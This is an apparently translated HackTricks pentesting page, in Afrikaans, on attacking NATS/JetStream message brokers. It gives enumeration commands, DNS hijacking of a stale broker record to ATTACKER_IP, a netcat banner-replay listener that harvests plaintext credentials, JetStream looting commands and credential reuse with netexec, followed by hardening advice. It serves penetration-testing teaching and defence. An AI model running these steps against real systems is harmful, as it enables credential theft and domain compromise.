4222 - Pentesting NATS / JetStream

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

NATS is ’n hoĆ«prestasie-berigbus wat ’n eenvoudige, teksgebaseerde protokol gebruik: die server stuur onmiddellik na ’n TCP-verbinding ’n INFO { ... } JSON-banner, en die kliĆ«nt antwoord met ’n CONNECT {"user":"USERNAME","pass":"PASSWORD",...}-frame gevolg deur opsionele PING/PUB/SUB-kommando’s. JetStream voeg persistentie-primitiewe (Streams & Consumers) bo-op dieselfde TCP-poort (4222/tcp). TLS en verifikasie is opsioneel, sodat baie interne implementerings plaintext AUTH gebruik.

  • Standaard poort: 4222/tcp (4223+ vir geclusterde roetes)
  • Standaard banner-velde: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Enumerasie

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

Die INFO frame kan ook handmatig opgehaal word:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

Installeer die amptelike CLI (Go ≄1.21) vir dieper interaksie:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

Outentiseringsfoute veroorsaak onmiddellik nats: Authorization Violation, dus is geldige creds nodig vir enige sinvolle RPC.

Credential capture via DNS/service impersonation

  • Identifiseer verouderde AD DNS-inskrywings vir die broker-hostname (bv. nats-svc.domain.local). As die rekord NXDOMAIN teruggee, kan ’n domeingebruiker met lae bevoegdhede dit herkrees danksy die verstek dynamic-update ACLs. Sien AD DNS Records abuse vir agtergrond.
  • Registreer die hostname op ’n aanvaller-beheerde IP:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • SpieĆ«l die legitieme banier een keer, en speel dit dan vir elke verbindende kliĆ«nt af. NATS vertrou die eerste INFO-reĆ«l wat dit sien, dus hoef ons dit net deur ’n luisteraar te pyp:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • Sodra ’n interne kliĆ«nt die gekaapte naam oplos, sal dit ’n platte-tekst CONNECT-raam uitstuur wat die user / pass-paar en verskeie telemetrie (kliĆ«ntnaam, Go-weergawe, protokolvlak) bevat. Omdat niks verder as die INFO-banier benodig word nie, is selfs nc genoeg om geheime te oes.
  • Vir langer betrokkenhede, hardloop die amptelike bediener plaaslik (git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE-logging wys reeds gebruikersname; die verwydering van die redaction helper of die afluister van verkeer met Wireshark openbaar die volledige wagwoord.

JetStream looting & password hunting

Sodra enige credential herwin is (bv. Dev_Account_A), stoor dit as ’n CLI context om dit nie weer te hoef te tik nie:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

JetStream ontdekking volg gewoonlik hierdie patroon:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Streaming-spanne teken gereeld outhentiseringsgebeure aan in onderwerpe soos logs.auth. As ontwikkelaars die rou JSON in ’n JetStream-stream stoor, kan die payloads AD-gebruikersname en wagwoorde in platte teks bevat:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Behoude geheime kan dan herhaal word teen Kerberos-only services deur netexec smb DC01 -u USER -p PASS -k te gebruik, wat volle domeinkompromittering moontlik maak.

Verharding & opsporing

  • Dwing TLS af (tls, tls_required, or mTLS via nkey/creds). Sonder enkripsie, INFO/CONNECT leak inlogbewyse aan enigiemand op-pad.
  • Bepaal wie DNS kan bywerk – delegeer diensrekords aan toegewyde rekeninge en oudit Event IDs 257/252 vir hoĆ«-waarde gasheername. Kombineer dit met scavenging alerts sodat ontbrekende broker name nie stilweg her-eis kan word nie.
  • Skakel credential logging af. Skrop geheime voordat jy aan subjects publiseer, stel JetStream retensie-/ouderdomsbeperkings in, en pas deny_delete=false slegs toe op vertroude operateurs.
  • Moniteer vir banner-anomalieĆ« – herhaalde kortstondige verbindings, authentiserings-timeouts, of INFO banners wat nie by die goedgekeurde sjabloon pas nie, dui op gespoofde servers.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks